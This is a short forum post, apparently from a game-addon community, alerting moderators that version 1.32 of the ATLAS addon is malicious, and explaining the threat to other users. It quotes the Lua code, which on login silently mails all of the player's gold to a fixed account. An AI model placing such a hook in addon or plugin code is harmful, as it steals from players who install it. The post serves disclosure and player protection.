[Sasky]

@Cairenn or moderators -- tried PM first, delete this thread if needed once action taken.

Until one of the admins can remove the file (at least), disable ATLAS or make sure it does not update to version 1.32.

The latest version of ATLAS has the following malicious code in it:

function ATLAS:EVENT_PLAYER_ACTIVATED(...)
    d("|cFF2222ATLAS|r addon Loaded, /atlas for more info")
        RequestOpenMailbox()    
        QueueMoneyAttachment(GetCurrentMoney()) 
        SendMail("<REDACTED>", "..")    
    --
    -- Only once so unreg is from further events
    --
    EVENT_MANAGER:UnregisterForEvent( ATLAS.addonName, EVENT_PLAYER_ACTIVATED ) 
end

For those who don't understand LUA, when the game loads in, it sends a mail with all gold in your bag to a specific player.

I've submitted a ticket and talked to a GM to report the account the gold was sent to.